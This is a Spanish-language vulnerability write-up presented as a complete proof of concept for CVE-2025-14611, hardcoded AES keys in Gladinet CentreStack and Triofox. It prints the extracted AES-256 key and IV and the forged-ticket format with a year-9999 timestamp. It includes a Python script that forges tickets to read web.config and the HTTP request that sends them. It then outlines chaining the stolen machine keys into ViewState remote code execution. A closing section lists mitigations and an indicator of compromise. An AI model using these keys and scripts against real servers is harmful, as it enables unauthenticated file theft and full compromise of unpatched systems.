CVE-2025-14611 CentreStack y Triofox Poc/Exploit completo
Esta vulnerabilidad surge de claves criptográficas codificadas en los productos Gladinet CentreStack y Triofox, lo que permite la lectura arbitraria de archivos mediante tickets de acceso falsificados. La implementación de cifrado AES-256 utiliza claves estáticas e inmutables integradas directamente en el binario de la aplicación (GladCtrl64.dll), lo que permite a cualquier atacante que extraiga estas claves:
La vulnerabilidad afecta a todas las versiones de Gladinet CentreStack y Triofox anteriores a 16.12.10420.56791 y ha sido explotada activamente en la naturaleza desde al menos noviembre de 2025.
La vulnerabilidad comienza con la forma en que se generan y almacenan las claves criptográficas en GladCtrl64.dll. Las funciones y son responsables de proporcionar la clave de cifrado AES y el vector de inicialización (IV).
GenerateSecKeyGenerateSecKey1Flujo de generación de claves:
Cuando se inicia la aplicación del servidor CentreStack, la clase SysKeyMgr llama a AccessKeyMgr64.GetSysEncKey, que invoca GenerateSecKey ubicada en GladCtrl64.dll. Esta función:
PSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
La función convierte cadenas codificadas en UTF-16LE a UTF-8 mediante la API de Windows WideCharToMultiByte con la página de códigos 0xfde9 (UTF-8). Los datos de origen se almacenan en dos ubicaciones de memoria estáticas:
Hallazgo crítico: Estas cadenas nunca cambian en ninguna instalación del software. El nombre de la función GenerateSecKey es engañoso: no genera claves dinámicamente, sino que simplemente devuelve cadenas estáticas preexistentes del binario.
Mediante análisis de ingeniería inversa, las claves codificadas se extrajeron de la sección .data de GladCtrl64.dll:
Memoria en 0x18000c000 (Origen de la clave):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
Al decodificarla de UTF-16LE a UTF-8, se obtiene texto chino:
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
Memoria en 0x18000c2c0 (Origen del IV):
6d 6f 44 72 69 76 65 00 // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
Al decodificarla, se obtiene:
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
Claves criptográficas finales:
La aplicación utiliza los primeros 32 bytes del origen de la clave codificado en UTF-8 como clave AES-256, y los primeros 16 bytes del origen del IV codificado en UTF-8 como vector de inicialización:
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
La vulnerabilidad se explota a través del manipulador HTTP filesvr.dn, que está asignado a la clase GladinetStorage.FileDownloadHandler. Este manipulador procesa tickets de acceso cifrados pasados a través del parámetro de consulta t.
Estructura del ticket de acceso:
Los tickets de acceso son campos separados por saltos de línea y cifrados con AES-256-CBC:
Line 0: Filepath (absolute path on server)
Line 1: Username (Windows account to impersonate)
Line 2: Password (credentials for that account)
Line 3: Timestamp (ticket creation time)
El proceso de descifrado:
t y realiza una sanitización personalizada, intercambiando caracteres seguros para URL (: → +, | → /)AccessTicket.Decrypt, que recupera la SysKey estática (primeros 32 bytes) y SysKey1 (primeros 16 bytes)Omisión de la validación de marca de tiempo:
El manipulador compara la marca de tiempo del ticket con la hora actual del servidor. Si el ticket tiene más de 4 horas, se rechaza. Sin embargo, los atacantes pueden establecer la marca de tiempo en el año 9999, creando un ticket que nunca expira:
9999-11-27 14:52:04.009217
Esto crea una puerta trasera persistente que puede reutilizarse indefinidamente.
Después del descifrado, el manipulador extrae los campos de Nombre de usuario y Contraseña e intenta inicializar un contexto de suplantación. Vulnerabilidad crítica: cuando ambos campos son cadenas vacías, la lógica de suplantación falla y recurre a la identidad del grupo de aplicaciones de IIS.
Esto permite la lectura arbitraria de archivos sin autenticación, ya que la aplicación se ejecuta con privilegios elevados pero no requiere credenciales válidas.
Ejemplo de ticket malicioso:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
Se ha observado explotación activa desde noviembre de 2025. Los atacantes siguen este patrón:
Paso 1: Forjar el ticket de acceso
Usando las claves extraídas, los atacantes crean tickets cifrados dirigidos a web.config:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
Paso 2: Enviar la solicitud maliciosa
El ticket falsificado se envía al endpoint vulnerable:
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
Paso 3: Extraer las claves de máquina
La respuesta contiene el archivo web.config con las claves de máquina:
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
Paso 4: Encadenar con CVE-2025-30406
Estas claves de máquina permiten ataques de deserialización de ViewState, lo que conduce a la ejecución remota de código. Los atacantes elaboran payloads maliciosos de ViewState firmados con las claves extraídas, logrando el compromiso total del sistema.
De los intentos de explotación observados (diciembre de 2025):
Ticket cifrado del atacante:
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
Contenido descifrado:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
Origen del ataque: Dirección IP 147.124.216[.]205
Organizaciones objetivo: 9 víctimas confirmadas en los sectores de salud, tecnología y servicios profesionales
Cronología del ataque: Intentos iniciales de explotación en noviembre de 2025, con un aumento en diciembre de 2025
CVE-2025-14611 representa un fallo crítico en la gestión de claves criptográficas. Al incrustar claves estáticas e inmutables directamente en el binario de la aplicación, Gladinet creó una llave maestra universal que funciona en todas las instalaciones. Esta vulnerabilidad demuestra varias fallas de seguridad graves:
Recomendaciones de mitigación:
web.config después de aplicar el parche/storage/filesvr.dn con parámetros t sospechososvghpI7EToZUDIZDdprSubL3mTZ2 (representación cifrada de la ruta de web.config)Indicador de compromiso:
Cualquier solicitud HTTP que contenga:
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
Esta subcadena identifica de forma única los intentos de explotar esta vulnerabilidad para la recuperación de web.config.